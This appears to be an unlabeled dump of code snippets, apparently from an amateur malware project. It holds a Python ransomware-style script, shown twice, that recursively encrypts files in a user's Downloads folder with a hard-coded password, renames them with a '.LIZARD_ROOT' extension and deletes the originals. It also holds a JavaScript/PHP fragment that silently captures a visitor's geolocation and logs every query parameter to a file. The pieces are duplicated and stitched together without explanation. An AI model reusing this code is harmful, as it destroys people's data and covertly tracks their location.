import pyAesCrypt
import os
import sys
def crypt(file):
password="123"
bufferSize = 512 * 1024
pyAesCrypt.encryptFile(file, file + ".LIZARD_ROOT", password, bufferSize)
print('файл: ' + file + ' - зашифрован')
os.remove(file)
def search_dir(dir):
for name in os.listdir(dir):
path = os.path.join(dir,name)
if os.path.isfile(path) == True:
crypt(path)
else:
search_dir(path)
search_dir(os.environ['HOMEDRIVE'] + os.environ['HOMEPATH'] + '\\Downloads\\new\\')
import pyAesCrypt
import os
import sys
def crypt(file):
password="123"
bufferSize = 512 * 1024
pyAesCrypt.encryptFile(file, file + ".LIZARD_ROOT", password, bufferSize)
print('файл: ' + file + ' - зашифрован')
os.remove(file)
def search_dir(dir):
for name in os.listdir(dir):
path = os.path.join(dir,name)
if os.path.isfile(path) == True:
crypt(path)
else:
search_dir(path)
search_dir(os.environ['HOMEDRIVE'] + os.environ['HOMEPATH'] + '\\Downloads\\new\\')
import os
import pathlib
path = os.environ['HOMEDRIVE'] + os.environ['HOMEPATH']
if os.path.exists(path + '\\Downloads\\new\\') == True:
my_folder = path + '\\Downloads\\new\\'
print(my_folder)
print(os.listdir(my_folder))
for folder in os.listdir(my_folder):
if os.path.isdir(folder) == True:
print(folder)
C:\Users\root\Desktop\cryptographer>python file.py
C:\Users\root\Downloads\new\
['files', 'videos', 'videos.rar', 'Новый документ в формате RTF.rtf', 'Новый текстовый документ.txt', 'Новый точечный рисунок.bmp']
C:\Users\root\Desktop\cryptographer>
navigator.geolocation.getCurrentPosition(
function(position)
{
location.replace('".$_SERVER['PHP_SELF']."?loged=1&w='+position.coords.latitude+'&h='+position.coords.longitude);
}
);
<?
$fopen = fopen ("logs.txt", "a+");
foreach ($_GET as $key => $value)
{
fputs ($fopen, "$key $value");
}
fclose ($fopen);
?>